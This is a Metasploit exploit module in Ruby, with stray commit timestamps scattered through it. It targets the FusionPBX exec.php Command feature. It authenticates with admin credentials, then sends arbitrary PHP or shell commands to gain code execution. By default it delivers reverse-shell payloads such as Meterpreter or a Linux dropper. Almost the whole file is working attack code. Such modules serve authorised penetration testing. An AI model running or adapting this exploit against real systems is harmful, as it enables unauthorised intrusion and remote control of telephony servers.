2019-11-01 23:38:51 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: CmdStager
def initialize ( info = { } )
2025-06-20 13:20:44 +01:00
super (
update_info (
info ,
'Name' = > 'FusionPBX Command exec.php Command Execution' ,
'Description' = > %q{
This module uses administrative functionality available in FusionPBX
to gain a shell.
The Command section of the application permits users with `exec_view`
permissions, or superadmin permissions, to execute arbitrary system
commands, or arbitrary PHP code, as the web server user.
This module has been tested successfully on FusionPBX version
4.4.1 on Ubuntu 19.04 (x64).
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'bcoles' ] ,
'References' = > [
2019-11-01 23:38:51 +00:00
[ 'URL' , 'https://docs.fusionpbx.com/en/latest/advanced/command.html' ]
] ,
2025-06-20 13:20:44 +01:00
'Platform' = > %w[ php linux unix ] ,
'Arch' = > [ ARCH_PHP , ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
'Targets' = > [
[
'Automatic (PHP In-Memory)' ,
'Platform' = > 'php' ,
'Arch' = > ARCH_PHP ,
'DefaultOptions' = > { 'PAYLOAD' = > 'php/meterpreter/reverse_tcp' } ,
'Type' = > :php_memory
2019-11-01 23:38:51 +00:00
] ,
2025-06-20 13:20:44 +01:00
[
'Automatic (Unix In-Memory)' ,
'Platform' = > 'unix' ,
'Arch' = > ARCH_CMD ,
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse' } ,
'Type' = > :unix_memory
2019-11-01 23:38:51 +00:00
] ,
2025-06-20 13:20:44 +01:00
[
'Automatic (Linux Dropper)' ,
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'DefaultOptions' = > { 'PAYLOAD' = > 'linux/x86/meterpreter/reverse_tcp' } ,
'Type' = > :linux_dropper
2019-11-01 23:38:51 +00:00
]
] ,
2025-06-20 13:20:44 +01:00
'Privileged' = > false ,
'DefaultOptions' = > { 'SSL' = > true , 'RPORT' = > 443 } ,
'DisclosureDate' = > '2019-11-02' ,
2025-06-23 12:00:29 +01:00
'DefaultTarget' = > 0 ,
'Notes' = > {
2025-06-23 12:43:46 +01:00
'Reliability' = > UNKNOWN_RELIABILITY ,
'Stability' = > UNKNOWN_STABILITY ,
'SideEffects' = > UNKNOWN_SIDE_EFFECTS
2025-06-23 12:00:29 +01:00
}
2025-06-20 13:20:44 +01:00
)
)
2019-11-01 23:38:51 +00:00
register_options [
OptString . new ( 'TARGETURI' , [ true , 'The base path to FusionPBX' , '/' ] ) ,
OptString . new ( 'USERNAME' , [ true , 'The username for FusionPBX' , 'admin' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'The password for FusionPBX' ] )
]
end
def login ( user , pass )
vprint_status " Authenticating as user ' #{ user } ' "
vars_post = {
username : user ,
password : pass ,
path : ''
}
res = send_request_cgi ( {
2025-06-20 13:20:44 +01:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'core/user_settings/user_dashboard.php' ) ,
2019-11-01 23:38:51 +00:00
'vars_post' = > vars_post
} )
unless res
fail_with Failure :: Unreachable , 'Connection failed'
end
if res . code == 302 && res . headers [ 'location' ] . include? ( 'login.php' )
fail_with Failure :: NoAccess , " Login failed for user ' #{ user } ' "
end
unless res . code == 200
fail_with Failure :: UnexpectedReply , " Unexpected HTTP response status code #{ res . code } "
end
cookie = res . get_cookies . to_s . scan ( / PHPSESSID=(.+?); / ) . flatten . first
unless cookie
fail_with Failure :: UnexpectedReply , 'Failed to retrieve PHPSESSID cookie'
end
print_good " Authenticated as user ' #{ user } ' "
cookie
end
def check
res = send_request_cgi ( {
'uri' = > normalize_uri ( target_uri . path )
} )
unless res
vprint_error 'Connection failed'
return CheckCode :: Unknown
end
if res . body . include? ( 'FusionPBX' )
return CheckCode :: Detected
end
CheckCode :: Safe
end
def execute_command ( cmd , opts = { } )
vars_post = {
handler : 'php' ,
table_name : '' ,
sql_type : '' ,
id : '' ,
cmd : cmd
}
case opts [ :handler ]
when 'php'
vars_post [ :handler ] = 'php'
when 'shell'
vars_post [ :handler ] = 'shell'
when 'switch'
vars_post [ :handler ] = 'switch'
vars_post [ :cmd ] = " bg_system #{ cmd } "
else
vars_post [ :handler ] = 'shell'
end
res = send_request_cgi ( {
2025-06-20 13:20:44 +01:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'app/exec/exec.php' ) ,
'cookie' = > " PHPSESSID= #{ @cookie } " ,
2019-11-01 23:38:51 +00:00
'vars_post' = > vars_post
} , 5 )
unless res
return if session_created?
2025-06-20 13:20:44 +01:00
2019-11-01 23:38:51 +00:00
fail_with Failure :: Unreachable , 'Connection failed'
end
unless res . code == 200
fail_with Failure :: UnexpectedReply , " Unexpected HTTP response status code #{ res . code } "
end
if res . body . include? 'access denied'
fail_with Failure :: NoAccess , " User #{ datastore [ 'USERNAME' ] } does not have permission to execute #{ vars_post [ :handler ] } #{ vars_post [ :handler ] . eql? ( 'php' ) ? 'code' : 'commands' } "
end
res
end
def exploit
unless check == CheckCode :: Detected
fail_with Failure :: NotVulnerable , " #{ peer } - Target is not vulnerable "
end
@cookie = login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
print_status " Sending payload ( #{ payload . encoded . length } bytes) ... "
case target [ 'Type' ]
when :php_memory
execute_command ( payload . encoded , handler : 'php' )
when :unix_memory
execute_command ( payload . encoded , handler : 'shell' )
when :linux_dropper
execute_cmdstager ( :linemax = > 1_500 , handler : 'shell' )
end
end
end